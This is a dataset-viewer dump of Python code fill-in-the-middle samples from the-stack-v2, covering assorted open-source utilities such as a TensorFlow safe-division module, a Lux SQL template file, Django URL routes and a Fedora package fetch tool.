text
stringlengths
232
16.3k
domain
stringclasses
1 value
difficulty
stringclasses
3 values
meta
dict
<|fim_suffix|> print("Probes ability against a random thrown D100 with/without bonus/malus dice") def do_roll(self, message): match = self.__dice_regex__.search(message) if match: rng_numbers = [] for m in self.__die_regex__.finditer(match.group("dice")): ...
code_fim
hard
{ "lang": "python", "repo": "tsabelmann/cthulhucmd", "path": "/cthulhu_cmd/cli.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: tatsunobuMurata/deep-learning-toolkit path: /app/bin/dltk/runtime/h2o/h2o_deployment.py import urllib from urllib.parse import urlparse import http from dltk.core import execution, deployment, is_truthy from dltk.connector.kubernetes import KubernetesDeployment from kubernetes import client as ku...
code_fim
hard
{ "lang": "python", "repo": "tatsunobuMurata/deep-learning-toolkit", "path": "/app/bin/dltk/runtime/h2o/h2o_deployment.py", "mode": "psm", "license": "ISC", "source": "the-stack-v2" }
<|fim_suffix|> def sync_source_code(self, url): url = urllib.parse.urljoin(url, "notebook") self.logger.warning("notebookurl: %s" % url) try: download_request = urllib.request.Request(url, method="GET") download_response = urllib.request.urlopen(download_request, timeo...
code_fim
hard
{ "lang": "python", "repo": "tatsunobuMurata/deep-learning-toolkit", "path": "/app/bin/dltk/runtime/h2o/h2o_deployment.py", "mode": "spm", "license": "ISC", "source": "the-stack-v2" }
<|fim_suffix|>def generate_hess_function_call(vars, num_vars, func_num): function_call_str = "function_{}_d_d(".format(func_num) for i, var in enumerate(vars): function_call_str += "{}, ders_flags[second_der][{}], ders_flags[first_der][{}], {}dd,".format(var, i, i, var) function_call_str += "&functi...
code_fim
hard
{ "lang": "python", "repo": "geometryprocessing/acorns-benchmark", "path": "/tests/python_test_utils/tapenade_utils.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: geometryprocessing/acorns-benchmark path: /tests/python_test_utils/tapenade_utils.py import os import sys import general_utils import os from subprocess import PIPE, run def generate_function_c_file(func_num, functions, input_filename): f = open(input_filename, 'w') signature = "" fu...
code_fim
hard
{ "lang": "python", "repo": "geometryprocessing/acorns-benchmark", "path": "/tests/python_test_utils/tapenade_utils.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|>def generate_derivative_string(vars, num_vars, func_num): der_string = "" for i, var in enumerate(vars): der_string += "\t\tdouble {} = values[i * {} + {}];\n".format(var, num_vars, i) der_string += "\t\tdouble {}b = 0;\n".format(var) der_string += "\t\tdouble function_{}b = 1;...
code_fim
hard
{ "lang": "python", "repo": "geometryprocessing/acorns-benchmark", "path": "/tests/python_test_utils/tapenade_utils.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> print("Which project would you like to migrate today?") print("Leave project name empty if you want to give project ID instead.") project_name = input("Project name: ") project_id = "" if project_name == "": project_id = input("Project ID: ") project_name = project...
code_fim
medium
{ "lang": "python", "repo": "SzZoli/openstack-userdata-migration", "path": "/credentials/request_project_name.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: SzZoli/openstack-userdata-migration path: /credentials/request_project_name.py #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Mon Apr 16 09:00:37 2018 @author: zoli """ <|fim_suffix|> if project_name == "": project_id = input("Project ID: ") project_name = proj...
code_fim
hard
{ "lang": "python", "repo": "SzZoli/openstack-userdata-migration", "path": "/credentials/request_project_name.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|>def request_project_name(project_list:dict): print("Which project would you like to migrate today?") print("Leave project name empty if you want to give project ID instead.") project_name = input("Project name: ") project_id = "" if project_name == "": project_id = in...
code_fim
medium
{ "lang": "python", "repo": "SzZoli/openstack-userdata-migration", "path": "/credentials/request_project_name.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> if args.resume_from: fetching = False else: fetching = True failed = [] gotsomething = False for repo in get_repos_api(url, toplevel_item='projects', use_link_header=False, link_item='pagination', link_next_attr='next'): gotsomething = True if repo['par...
code_fim
hard
{ "lang": "python", "repo": "intel/clear-linux-dissector-web", "path": "/layerindex/tools/fedora-fetch.py", "mode": "spm", "license": "BSD-3-Clause", "source": "the-stack-v2" }
<|fim_prefix|># repo: intel/clear-linux-dissector-web path: /layerindex/tools/fedora-fetch.py #!/usr/bin/env python3 # Fedora Pagure (e.g. https://src.fedoraproject.org/) fetch utility # Copyright (C) 2017, 2018 Intel Corporation # # Licensed under the MIT license, see COPYING.MIT for details import sys import os i...
code_fim
hard
{ "lang": "python", "repo": "intel/clear-linux-dissector-web", "path": "/layerindex/tools/fedora-fetch.py", "mode": "psm", "license": "BSD-3-Clause", "source": "the-stack-v2" }
<|fim_suffix|> def main(): parser = argparse.ArgumentParser(description="Fedora package source fetch utility", epilog="Use %(prog)s <subcommand> --help to get help on a specific command") #parser.add_argument('-d', '--debug', help='Enable debug output', action='store_true...
code_fim
hard
{ "lang": "python", "repo": "intel/clear-linux-dissector-web", "path": "/layerindex/tools/fedora-fetch.py", "mode": "spm", "license": "BSD-3-Clause", "source": "the-stack-v2" }
<|fim_suffix|> @patch('jinja2.Template.render') def test_dayone_export_run_with_localized_after(self, mock_render): after = pytz.timezone('America/New_York').localize(datetime(2012, 9, 1)) list(doe.dayone_export(FAKE_JOURNAL, after=after)) mock_render.assert_called() def test_after_f...
code_fim
hard
{ "lang": "python", "repo": "nathangrigg/dayone_export", "path": "/tests/test_dayone_export.py", "mode": "spm", "license": "BSD-3-Clause", "source": "the-stack-v2" }
<|fim_suffix|> expected = '<p>a<br>\nb</p>' actual = self.nl2br('a\nb') self.assertEqual(expected, actual) class TestLatex(unittest.TestCase): def setUp(self): reset_locale() def test_latex_escape_backslash(self): actual = doe.filters.escape_tex(r'bl\ah') expecte...
code_fim
hard
{ "lang": "python", "repo": "nathangrigg/dayone_export", "path": "/tests/test_dayone_export.py", "mode": "spm", "license": "BSD-3-Clause", "source": "the-stack-v2" }
<|fim_prefix|># repo: nathangrigg/dayone_export path: /tests/test_dayone_export.py .cli from mock import patch import os import jinja2 from datetime import datetime import pytz import locale THIS_PATH = os.path.split(os.path.abspath(__file__))[0] FAKE_JOURNAL = os.path.join(THIS_PATH, 'fake_journal') REGRESSION_JOURN...
code_fim
hard
{ "lang": "python", "repo": "nathangrigg/dayone_export", "path": "/tests/test_dayone_export.py", "mode": "psm", "license": "BSD-3-Clause", "source": "the-stack-v2" }
<|fim_suffix|> self.show_frame(StartPage) def show_frame(self, cont): frame = self.frames[cont] frame.tkraise() class StartPage(Frame): def __init__(self, parent, controller): Frame.__init__(self,parent) Tk.configure(self, bg="black") Label(se...
code_fim
hard
{ "lang": "python", "repo": "kamilam1987/Fourth-Main-Project", "path": "/Code/ChatbotWithTensorFlow/GUI.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: kamilam1987/Fourth-Main-Project path: /Code/ChatbotWithTensorFlow/GUI.py from tkinter import * from chat_response import * LARGE_FONT= ("Verdana", 12) class Pages(Tk): def __init__(self, *args, **kwargs): Tk.__init__(self, *args, **kwargs) Tk.title(self, "Fourth Yea...
code_fim
hard
{ "lang": "python", "repo": "kamilam1987/Fourth-Main-Project", "path": "/Code/ChatbotWithTensorFlow/GUI.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> crow+=1 # print(cc,sc) # sc+=1 #col=0 #for st in t: # while col<9: # col+=1 col="" rrow=1 while rrow<=9: n=0 col="" while n<9: col+=t[n] print(col) if n==8: for a in range(1,10): b=col.find(str(a)) ...
code_fim
medium
{ "lang": "python", "repo": "endowp/Python101", "path": "/61_Q1/0_61_1_Q1_3_2e.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: endowp/Python101 path: /61_Q1/0_61_1_Q1_3_2e.py t=[] num=[] row=[] rc=[] r=1 for i in range(9): t.append(input()) row=1 for st in t: for j in range(1,10): k=st.find(str(j)) #if k==-1: #print(row,end="<|fim_suffix|> crow+=1 # print(cc,sc) # sc+=1 #...
code_fim
medium
{ "lang": "python", "repo": "endowp/Python101", "path": "/61_Q1/0_61_1_Q1_3_2e.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: djangogirlstaipei/djangogirlstaipei-lektor path: /packages/lektor-djangogirlstaipei/lektor_djangogirlstaipei/__init__.py from __future__ import unicode_literals import sys import lektor.pluginsystem import lektor.types import markupsafe import six from .markdown import markdown_to_html, Tutori...
code_fim
hard
{ "lang": "python", "repo": "djangogirlstaipei/djangogirlstaipei-lektor", "path": "/packages/lektor-djangogirlstaipei/lektor_djangogirlstaipei/__init__.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> """Describes the Markdown object to the type. """ def __init__(self, source): self.source = source def __get__(self, obj, type=None): return TutorialMarkdown(self.source) class TutorialMarkdownType(lektor.types.Type): widget = 'multiline-text' def value_from_ra...
code_fim
hard
{ "lang": "python", "repo": "djangogirlstaipei/djangogirlstaipei-lektor", "path": "/packages/lektor-djangogirlstaipei/lektor_djangogirlstaipei/__init__.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> assert isinstance(X, pd.DataFrame) # Get the DataFrame to work with x = X.copy() if not self.inline else X # Remove the effect of covariates for c in x.columns: x[c] = x[c].values - self.regressors.get(c).predict(self.covariates.values) return...
code_fim
hard
{ "lang": "python", "repo": "zgalaz/data-science-helpers", "path": "/helpers/utils/transformers.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> def transform(self, X): """ Transform the data This method uses the fitted linear regression models to predict the values of the features (columns of X) and replace each of the features by the residuals of such model, i.e. feature = feature - feature_hat. With ...
code_fim
hard
{ "lang": "python", "repo": "zgalaz/data-science-helpers", "path": "/helpers/utils/transformers.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: zgalaz/data-science-helpers path: /helpers/utils/transformers.py import pandas as pd from helpers.utils.validators import validate_args_numpy_array from sklearn.preprocessing import StandardScaler from sklearn.linear_model import LinearRegression from sklearn.base import BaseEstimator, Transforme...
code_fim
hard
{ "lang": "python", "repo": "zgalaz/data-science-helpers", "path": "/helpers/utils/transformers.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: paoli7612/Elements path: /src/loop/flags.py from images import by_name from info import Info from position import Pos class Flags: def __init__(self, turn): self.image_select = by_name("selected") self.image_danger = by_name("danger") self.image_green = by_name("green...
code_fim
medium
{ "lang": "python", "repo": "paoli7612/Elements", "path": "/src/loop/flags.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> if sprite.team == self.turn: image = self.image_green else: image = self.image_red for p in sprite.nexts: screen.blit(image, p.pixel()) for p in sprite.risks: screen.blit(self.image_danger, p.pixel()) def draw(self, screen): ...
code_fim
hard
{ "lang": "python", "repo": "paoli7612/Elements", "path": "/src/loop/flags.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> def show_nexts(self, screen, sprite): if sprite.team == self.turn: image = self.image_green else: image = self.image_red for p in sprite.nexts: screen.blit(image, p.pixel()) for p in sprite.risks: screen.blit(self.image_danger, p.pixe...
code_fim
hard
{ "lang": "python", "repo": "paoli7612/Elements", "path": "/src/loop/flags.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: RodSernaPerez/WordVectorizer path: /word_vectorizer/exceptions/not_existing_model_exception.py """NotExistingModelException Exception launches when an unknown model is asked (does not appear in the json conf file..""" <|fim_suffix|> Exception launches when an unknown model is asked (does no...
code_fim
medium
{ "lang": "python", "repo": "RodSernaPerez/WordVectorizer", "path": "/word_vectorizer/exceptions/not_existing_model_exception.py", "mode": "psm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_suffix|> """NotExistingModelException Exception launches when an unknown model is asked (does not appear in the json conf file.""" pass<|fim_prefix|># repo: RodSernaPerez/WordVectorizer path: /word_vectorizer/exceptions/not_existing_model_exception.py """NotExistingModelException Exception launc...
code_fim
easy
{ "lang": "python", "repo": "RodSernaPerez/WordVectorizer", "path": "/word_vectorizer/exceptions/not_existing_model_exception.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_prefix|># repo: turboslayer198/mitx-6.00.1x path: /Exercises/biggest.py # Consider the following sequence of expressions: # # animals = { 'a': ['aardvark'], 'b': ['baboon'], 'c': ['coati']} # # animals['d'] = ['donkey'] # animals['d'].append('dog') # animals['d'].append('dingo') # We want to write some simple pr...
code_fim
medium
{ "lang": "python", "repo": "turboslayer198/mitx-6.00.1x", "path": "/Exercises/biggest.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> biggest = None result = None for key in aDict.keys(): if biggest is None and result is None: result = key biggest = len(aDict[key]) elif len(aDict[key]) > biggest: result = key biggest = len(aDict[key]) return result print(bi...
code_fim
medium
{ "lang": "python", "repo": "turboslayer198/mitx-6.00.1x", "path": "/Exercises/biggest.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|>animals['d'] = ['donkey'] animals['d'].append('dog') animals['d'].append('dingo') def biggest(aDict): biggest = None result = None for key in aDict.keys(): if biggest is None and result is None: result = key biggest = len(aDict[key]) elif len(aDict[key]...
code_fim
medium
{ "lang": "python", "repo": "turboslayer198/mitx-6.00.1x", "path": "/Exercises/biggest.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> def safe_unsigned_div( a: type_alias.TensorLike, b: type_alias.TensorLike, eps: Optional[type_alias.Float] = None, name: str = 'safe_unsigned_div') -> tf.Tensor: """Calculates a/b with b >= 0 safely. If the tfg debug flag TFG_ADD_ASSERTS_TO_GRAPH defined in tfg_flags.py is set to T...
code_fim
hard
{ "lang": "python", "repo": "tensorflow/graphics", "path": "/tensorflow_graphics/util/safe_ops.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_prefix|># repo: tensorflow/graphics path: /tensorflow_graphics/util/safe_ops.py # Copyright 2020 The TensorFlow Authors # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://w...
code_fim
hard
{ "lang": "python", "repo": "tensorflow/graphics", "path": "/tensorflow_graphics/util/safe_ops.py", "mode": "psm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_suffix|> # eps will be multiplied with factor next, which can make it zero. # Therefore we multiply eps with min(1/factor, 1e10), which can handle # factors as small as 1e-10 correctly, while preventing a division by zero. eps *= tf.clip_by_value(1.0 / factor, 1.0, 1e10) sign = nonzero_sign(0.5...
code_fim
hard
{ "lang": "python", "repo": "tensorflow/graphics", "path": "/tensorflow_graphics/util/safe_ops.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_suffix|>',60*x/y) print('A velocidade média é (m/s):',(1000*x)/(60*y))<|fim_prefix|># repo: alexandrebatista84/fundamentos-programacao path: /Aula Prática 2/Exercicio2.py x=eval(input('Introduza a distância percorrida (em Km): ')) y<|fim_middle|>=eval(input('Introduza o tempo necessário para percorrer a distânci...
code_fim
medium
{ "lang": "python", "repo": "alexandrebatista84/fundamentos-programacao", "path": "/Aula Prática 2/Exercicio2.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: alexandrebatista84/fundamentos-programacao path: /Aula Prática 2/Exercicio2.py x=eval(input('Introduza a distância percorrida (em Km): ')) y<|fim_suffix|>',60*x/y) print('A velocidade média é (m/s):',(1000*x)/(60*y))<|fim_middle|>=eval(input('Introduza o tempo necessário para percorrer a distânci...
code_fim
medium
{ "lang": "python", "repo": "alexandrebatista84/fundamentos-programacao", "path": "/Aula Prática 2/Exercicio2.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: cash2one/xai path: /xai/brain/wordbase/nouns/_pump.py #calss header class _PUMP(): def __init__(self,): self.name = "PUMP" self.definitions = [u'a piece of equipment that is used to cause liquid, air, or gas to move from one place to another: ', u"a type of flat shoe, like a ballet dancer...
code_fim
medium
{ "lang": "python", "repo": "cash2one/xai", "path": "/xai/brain/wordbase/nouns/_pump.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: Loubear111/volunteer_backend path: /unchained/volunteer/migrations/0006_auto_20200126_1801.py # Generated by Django 3.0.2 on 2020-01-26 18:01 <|fim_suffix|> dependencies = [ ('volunteer', '0005_auto_20200126_1753'), ] operations = [ migrations.AlterField( ...
code_fim
medium
{ "lang": "python", "repo": "Loubear111/volunteer_backend", "path": "/unchained/volunteer/migrations/0006_auto_20200126_1801.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> dependencies = [ ('volunteer', '0005_auto_20200126_1753'), ] operations = [ migrations.AlterField( model_name='event', name='latitude', field=models.FloatField(blank=True, default=0.0, null=True), ), ]<|fim_prefix|># repo: Loubea...
code_fim
easy
{ "lang": "python", "repo": "Loubear111/volunteer_backend", "path": "/unchained/volunteer/migrations/0006_auto_20200126_1801.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> """ ... def EnumerateStereoisomers(m, options=..., verbose=...): # -> Generator[Unknown, None, None]: """ returns a generator that yields possible stereoisomers for a molecule Arguments: - m: the molecule to work with - options: parameters controlling the enumeration - verb...
code_fim
hard
{ "lang": "python", "repo": "Andy-Wilkinson/ChemMLToolkit", "path": "/typings/rdkit/Chem/EnumerateStereoisomers.pyi", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: Andy-Wilkinson/ChemMLToolkit path: /typings/rdkit/Chem/EnumerateStereoisomers.pyi """ This type stub file was generated by pyright. """ class StereoEnumerationOptions: """ - tryEmbedding: if set the process attempts to generate a standard RDKit distance geometry conformat...
code_fim
hard
{ "lang": "python", "repo": "Andy-Wilkinson/ChemMLToolkit", "path": "/typings/rdkit/Chem/EnumerateStereoisomers.pyi", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: SuLab/mark2cure path: /mark2cure/task/ner/urls.py from django.conf.urls import url from . import views from .views import NERDocumentSubmissionView <|fim_suffix|> url(r'^quest/(?P<quest_pk>\d+)/(?P<document_pk>\d+)/submit/$', NERDocumentSubmissionView.as_view(), name='ner-quest-docum...
code_fim
hard
{ "lang": "python", "repo": "SuLab/mark2cure", "path": "/mark2cure/task/ner/urls.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> url(r'^(?P<document_pk>\d+)/user/(?P<user_pk>\d+)/', views.ner_user_document_results, name='ner-user-document-results'), url(r'^(?P<task_pk>\d+)/(?P<doc_pk>\d+)/results.json', views.ner_quest_document_results, name='ner-quest-document-results'), url(r'^quest/(?P<quest_pk>\d+)...
code_fim
medium
{ "lang": "python", "repo": "SuLab/mark2cure", "path": "/mark2cure/task/ner/urls.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> url(r'^quest/(?P<quest_pk>\d+)/submit/$', views.ner_quest_submit, name='ner-quest-submit'), url(r'^quest/(?P<quest_pk>\d+)/$', views.ner_quest, name='ner-quest'), ]<|fim_prefix|># repo: SuLab/mark2cure path: /mark2cure/task/ner/urls.py from django.conf.urls import url from . imp...
code_fim
hard
{ "lang": "python", "repo": "SuLab/mark2cure", "path": "/mark2cure/task/ner/urls.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: Xlszyp/hello path: /打开文件/open之读写行.py #/usr/bin/python3 #-*-coding:UTF-8-*- f=open('D:/1.txt','w') str_list=['hello,world\n','welcome\n','welcome\n'] print('write length:',f.writelines(str_list)) f=open('D:/1.txt','r') print('read result:',f.read()) f=open('D:/1.txt','r') print(f.r...
code_fim
easy
{ "lang": "python", "repo": "Xlszyp/hello", "path": "/打开文件/open之读写行.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|>#readline()方法是从文件中读取单独一行内容并返回 #readlines()方法是从文件中读取所有的内容并返回 #writelines()方法会将所有格式的字符串写入文件,等同于write()方法<|fim_prefix|># repo: Xlszyp/hello path: /打开文件/open之读写行.py #/usr/bin/python3 #-*-coding:UTF-8-*- f=open('D:/1.txt','w') str_list=['hello,world\n','welcome\n','welcome\n'] print('write length:',...
code_fim
easy
{ "lang": "python", "repo": "Xlszyp/hello", "path": "/打开文件/open之读写行.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> #readline()方法是从文件中读取单独一行内容并返回 #readlines()方法是从文件中读取所有的内容并返回 #writelines()方法会将所有格式的字符串写入文件,等同于write()方法<|fim_prefix|># repo: Xlszyp/hello path: /打开文件/open之读写行.py #/usr/bin/python3 #-*-coding:UTF-8-*- f=open('D:/1.txt','w') str_list=['hello,world\n','welcome\n','welcome\n'] print('write length:...
code_fim
medium
{ "lang": "python", "repo": "Xlszyp/hello", "path": "/打开文件/open之读写行.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|>pecific_functions import * # from .database_credentials import *<|fim_prefix|># repo: ThisIsNima/dwetl path: /__init__.py # from .dw_etl import * # from .exceptions import * # from .table_transform import * # from .TransformField import TransformFiel<|fim_middle|>d # from .data_quality_utilities import *...
code_fim
medium
{ "lang": "python", "repo": "ThisIsNima/dwetl", "path": "/__init__.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_prefix|># repo: ThisIsNima/dwetl path: /__init__.py # from .dw_etl import * # from .exceptions import * # from .tabl<|fim_suffix|>pecific_functions import * # from .database_credentials import *<|fim_middle|>e_transform import * # from .TransformField import TransformField # from .data_quality_utilities import *...
code_fim
medium
{ "lang": "python", "repo": "ThisIsNima/dwetl", "path": "/__init__.py", "mode": "psm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_prefix|># repo: dairiki/unflatten path: /src/unflatten.py # -*- coding: utf-8 -*- """ Unflatten nested dict/array data """ from __future__ import absolute_import import re import sys from operator import itemgetter if sys.version_info[0] == 2: string_type = basestring # noqa: F821 else: string_type =...
code_fim
hard
{ "lang": "python", "repo": "dairiki/unflatten", "path": "/src/unflatten.py", "mode": "psm", "license": "BSD-3-Clause", "source": "the-stack-v2" }
<|fim_suffix|> return self.data[key] def get(self, key): return self.data.get(key) def __setitem__(self, key, value): self.data[key] = value class _dict_holder(_holder): node_type = dict def getvalue(self): return self.data class _list_holder(_holder): node_type...
code_fim
hard
{ "lang": "python", "repo": "dairiki/unflatten", "path": "/src/unflatten.py", "mode": "spm", "license": "BSD-3-Clause", "source": "the-stack-v2" }
<|fim_suffix|>SCHEMA.COLUMNS WHERE TABLE_NAME = '{table_name}' AND COLUMN_NAME = '{attribute}'""" mysql_template = """preview_query:SELECT * from {table_name} LIMIT {num_rows} length_query:SELECT COUNT(*) as length FROM {table_name} {where_clause} sample_query:SELECT * FROM {table_name} {where_clause} LIMIT {num_rows}...
code_fim
hard
{ "lang": "python", "repo": "lux-org/lux", "path": "/lux/_config/template.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_suffix|> BY {groupby_attr} barchart_sum:SELECT {groupby_attr}, SUM({measure_attr}) as {measure_attr} FROM {table_name} {where_clause} GROUP BY {groupby_attr} barchart_max:SELECT {groupby_attr}, MAX({measure_attr}) as {measure_attr} FROM {table_name} {where_clause} GROUP BY {groupby_attr} histogram_counts:SELECT w...
code_fim
hard
{ "lang": "python", "repo": "lux-org/lux", "path": "/lux/_config/template.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_prefix|># repo: lux-org/lux path: /lux/_config/template.py postgres_template = """preview_query:SELECT * from {table_name} LIMIT {num_rows} length_query:SELECT COUNT(1) as length FROM {table_name} {where_clause} sample_query:SELECT * FROM {table_name} {where_clause} ORDER BY random() LIMIT {num_rows} scatter_que...
code_fim
hard
{ "lang": "python", "repo": "lux-org/lux", "path": "/lux/_config/template.py", "mode": "psm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_suffix|> # check input if not isinstance(s, str): return unknown if isinstance(pattern, re.Pattern): m = pattern.findall(s) else: m = re.findall(pattern, s) if m: return m[-1] # Return last occurance else: return unknown<|fim_prefix|># repo: khersh...
code_fim
hard
{ "lang": "python", "repo": "khershberger/khutility", "path": "/khutility/fileutil.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: khershberger/khutility path: /khutility/fileutil.py # -*- coding: utf-8 -*- """ Created on Tue May 18 09:28:26 2021 @author: khershberger """ import os import re import logging logger = logging.getLogger(__name__) def find(path, patternInclude=".*", patternExclude="(?!x)x"): """ Para...
code_fim
medium
{ "lang": "python", "repo": "khershberger/khutility", "path": "/khutility/fileutil.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|>def extractFromFilename(pattern, s, unknown="UNK"): # check input if not isinstance(s, str): return unknown if isinstance(pattern, re.Pattern): m = pattern.findall(s) else: m = re.findall(pattern, s) if m: return m[-1] # Return last occurance else...
code_fim
hard
{ "lang": "python", "repo": "khershberger/khutility", "path": "/khutility/fileutil.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> #evaluate jacobian (2,2) jac = np.array([[1,0],[0,1]]) #computer Hessian delta = I @ jac #H is (2,2) H = delta.T @ delta #compute dp #dp is (2,2)@(2,n)@(n,1) = (2,1) dp = np.linalg.inv(H) @ (delta.T) @ err...
code_fim
hard
{ "lang": "python", "repo": "LingguoMeng/Lucas-Kanade-tracking-and-Correlation-Filters", "path": "/src/TemplateCorrection.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> #compute dp #dp is (2,2)@(2,n)@(n,1) = (2,1) dp = np.linalg.inv(H) @ (delta.T) @ errImg #update parameters p0[0] += dp[0,0] p0[1] += dp[1,0] p_star = p0 return p_star<|fim_prefix|># repo: LingguoMeng/Lucas-Kanade-tracking-a...
code_fim
hard
{ "lang": "python", "repo": "LingguoMeng/Lucas-Kanade-tracking-and-Correlation-Filters", "path": "/src/TemplateCorrection.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: LingguoMeng/Lucas-Kanade-tracking-and-Correlation-Filters path: /src/TemplateCorrection.py # -*- coding: utf-8 -*- """ Created on Wed Nov 28 15:42:31 2018 @author: de'l'l """ import numpy as np from scipy.interpolate import RectBivariateSpline def TemplateCorrection(I0, It1, rect0, rect,...
code_fim
hard
{ "lang": "python", "repo": "LingguoMeng/Lucas-Kanade-tracking-and-Correlation-Filters", "path": "/src/TemplateCorrection.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: enterstudio/popego path: /popego/popserver/popserver/config/environment.py # -*- coding: utf-8 -*- __docformat__='restructuredtext' """Pylons environment configuration""" import os from pylons import config import popserver.lib.app_globals as app_globals import popserver.lib.helpers from popser...
code_fim
hard
{ "lang": "python", "repo": "enterstudio/popego", "path": "/popego/popserver/popserver/config/environment.py", "mode": "psm", "license": "BSD-3-Clause", "source": "the-stack-v2" }
<|fim_suffix|> # Assume that templates are encoded in utf-8 # Can override on a per-template basis using a 'magic encoding comment' tmpl_options['mako.input_encoding'] = 'utf-8' # Configures DB Engine elixir.metadata.bind = config['sqlalchemy.url'] elixir.metadata.bind.echo = True if config['sql...
code_fim
hard
{ "lang": "python", "repo": "enterstudio/popego", "path": "/popego/popserver/popserver/config/environment.py", "mode": "spm", "license": "BSD-3-Clause", "source": "the-stack-v2" }
<|fim_suffix|> print('|-') print('|{}'.format(it)) print('|{}'.format(qt)) bs = [f'{b} ({stat_bonuses[b]*100:.0f}%)' for b in benefits if b in stat_bonuses] bs = ', '.join(bs) print(f'|{bs}') rs = [f'{required_resources[r]} {r}' for r in resources if r in required_resources] rs = ', '.j...
code_fim
hard
{ "lang": "python", "repo": "kk49/deca", "path": "/python/bin/generate_schematic_info.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: kk49/deca path: /python/bin/generate_schematic_info.py import re from deca.db_core import VfsDatabase from deca.db_processor import vfs_structure_open from deca.ff_adf import AdfDatabase from deca.digest import process_translation_adf, process_codex_adf from deca.ff_adf_amf_gltf import Deca3dMatr...
code_fim
hard
{ "lang": "python", "repo": "kk49/deca", "path": "/python/bin/generate_schematic_info.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|>benefits = sorted(benefits) resources = sorted(resources) print('{| class = "article-table"') print('!Item Type') print('!Quality') print('!Benefits') print('!Resources') # for benefit in benefits: # print(f'!{benefit}') print('!Location') ss = sorted(schematics) for ele in ss: position, name,...
code_fim
hard
{ "lang": "python", "repo": "kk49/deca", "path": "/python/bin/generate_schematic_info.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: abkosar/ogr path: /ogr/services/gitlab/release.py # Copyright Contributors to the Packit project. # SPDX-License-Identifier: MIT from typing import Optional <|fim_suffix|> project: "ogr_gitlab.GitlabProject" def __init__( self, tag_name: str, url: Optional[str], ...
code_fim
medium
{ "lang": "python", "repo": "abkosar/ogr", "path": "/ogr/services/gitlab/release.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> @property def body(self): return self.raw_release.description def edit_release(self, name: str, message: str) -> None: raise OperationNotSupported("edit_release not supported on GitLab")<|fim_prefix|># repo: abkosar/ogr path: /ogr/services/gitlab/release.py # Copyright Contri...
code_fim
hard
